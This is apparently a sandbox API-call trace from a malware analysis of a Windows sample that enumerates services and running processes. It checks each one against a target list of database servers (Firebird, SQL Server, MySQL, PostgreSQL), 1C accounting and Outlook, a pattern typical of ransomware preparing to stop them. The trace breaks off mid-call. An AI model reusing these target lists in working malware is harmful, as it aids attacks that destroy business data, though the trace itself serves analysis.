lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0204.290] lstrlenW (lpString="CscService") returned 10 [0204.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0204.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0204.290] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0204.290] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0204.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0204.291] lstrlenW (lpString="DcomLaunch") returned 10 [0204.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0204.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0204.291] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0204.291] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0204.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0204.291] lstrlenW (lpString="Dhcp") returned 4 [0204.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0204.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0204.291] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0204.291] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0204.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0204.292] lstrlenW (lpString="Dnscache") returned 8 [0204.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0204.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0204.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0204.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0204.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0204.292] lstrlenW (lpString="eventlog") returned 8 [0204.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0204.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0204.292] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0204.292] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0204.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0204.293] lstrlenW (lpString="EventSystem") returned 11 [0204.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0204.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0204.293] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0204.293] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0204.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0204.293] lstrlenW (lpString="gpsvc") returned 5 [0204.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0204.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0204.293] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0204.293] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0204.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0204.294] lstrlenW (lpString="lmhosts") returned 7 [0204.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0204.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0204.294] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0204.294] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0204.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0204.294] lstrlenW (lpString="MMCSS") returned 5 [0204.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0204.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0204.294] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0204.294] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0204.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0204.294] lstrlenW (lpString="nsi") returned 3 [0204.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0204.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0204.295] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0204.295] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0204.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0204.295] lstrlenW (lpString="PlugPlay") returned 8 [0204.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0204.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0204.295] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0204.295] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0204.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0204.295] lstrlenW (lpString="Power") returned 5 [0204.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0204.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0204.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0204.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0204.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0204.296] lstrlenW (lpString="ProfSvc") returned 7 [0204.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0204.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0204.296] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0204.296] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0204.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0204.296] lstrlenW (lpString="RpcEptMapper") returned 12 [0204.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0204.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0204.297] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0204.297] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0204.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0204.297] lstrlenW (lpString="RpcSs") returned 5 [0204.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0204.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0204.297] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0204.297] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0204.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0204.297] lstrlenW (lpString="SamSs") returned 5 [0204.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0204.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0204.298] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0204.298] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0204.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0204.298] lstrlenW (lpString="Schedule") returned 8 [0204.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0204.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0204.298] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0204.298] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0204.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0204.298] lstrlenW (lpString="SENS") returned 4 [0204.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0204.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0204.299] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0204.299] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0204.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0204.299] lstrlenW (lpString="ShellHWDetection") returned 16 [0204.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0204.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0204.300] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0204.300] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0204.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0204.300] lstrlenW (lpString="Spooler") returned 7 [0204.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0204.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0204.300] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0204.300] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0204.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0204.301] lstrlenW (lpString="Themes") returned 6 [0204.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0204.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0204.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0204.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0204.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0204.301] lstrlenW (lpString="UxSms") returned 5 [0204.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0204.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0204.302] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0204.302] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0204.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0204.302] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5ffc50 | out: hHeap=0x590000) returned 1 [0204.302] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x138 [0204.307] Process32FirstW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.308] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0204.309] lstrlenW (lpString="System") returned 6 [0204.309] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0204.310] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0204.310] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0204.310] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0204.310] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0204.310] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0204.310] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0204.310] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0204.311] lstrlenW (lpString="smss.exe") returned 8 [0204.311] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0204.311] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0204.311] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0204.311] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0204.311] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0204.311] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0204.311] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0204.311] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.312] lstrlenW (lpString="csrss.exe") returned 9 [0204.312] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0204.312] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0204.312] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0204.312] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0204.313] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0204.313] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0204.313] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0204.313] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0204.314] lstrlenW (lpString="wininit.exe") returned 11 [0204.314] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0204.314] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0204.314] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0204.314] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0204.314] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0204.314] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0204.314] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0204.314] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.315] lstrlenW (lpString="csrss.exe") returned 9 [0204.315] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0204.315] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0204.315] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0204.315] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0204.315] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0204.315] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0204.316] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0204.316] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0204.317] lstrlenW (lpString="winlogon.exe") returned 12 [0204.317] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0204.317] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0204.317] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0204.317] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0204.317] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0204.317] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0204.317] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0204.317] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0204.318] lstrlenW (lpString="services.exe") returned 12 [0204.318] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0204.318] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0204.319] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0204.319] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0204.319] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0204.319] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0204.319] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0204.319] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0204.320] lstrlenW (lpString="lsass.exe") returned 9 [0204.320] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0204.320] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0204.320] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0204.320] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0204.320] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0204.320] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0204.320] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0204.320] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0204.321] lstrlenW (lpString="lsm.exe") returned 7 [0204.322] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0204.322] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0204.322] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0204.322] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0204.322] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0204.859] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0204.859] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0204.859] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.860] lstrlenW (lpString="svchost.exe") returned 11 [0204.860] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0204.860] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0204.860] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0204.860] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0204.860] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0204.860] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0204.860] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0204.860] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.861] lstrlenW (lpString="svchost.exe") returned 11 [0204.861] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0204.861] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0204.861] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0204.861] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0204.862] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0204.862] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0204.862] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0204.862] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.863] lstrlenW (lpString="svchost.exe") returned 11 [0204.863] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0204.863] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0204.863] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0204.863] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0204.863] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0204.863] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0204.863] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0204.863] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.864] lstrlenW (lpString="svchost.exe") returned 11 [0204.864] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0204.864] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0204.864] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0204.864] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0204.864] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0204.864] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0204.865] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0204.865] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.865] lstrlenW (lpString="svchost.exe") returned 11 [0204.865] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0204.866] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0204.866] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0204.866] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0204.866] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0204.866] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0204.866] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0204.866] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0204.867] lstrlenW (lpString="audiodg.exe") returned 11 [0204.867] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0204.867] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0204.867] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0204.867] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0204.867] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0204.867] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0204.867] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0204.867] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.869] lstrlenW (lpString="svchost.exe") returned 11 [0204.869] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0204.869] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0204.869] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0204.869] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0204.869] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0204.869] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0204.869] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0204.869] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0204.870] lstrlenW (lpString="userinit.exe") returned 12 [0204.870] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0204.870] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0204.870] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0204.871] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0204.871] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0204.871] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0204.871] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0204.871] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, 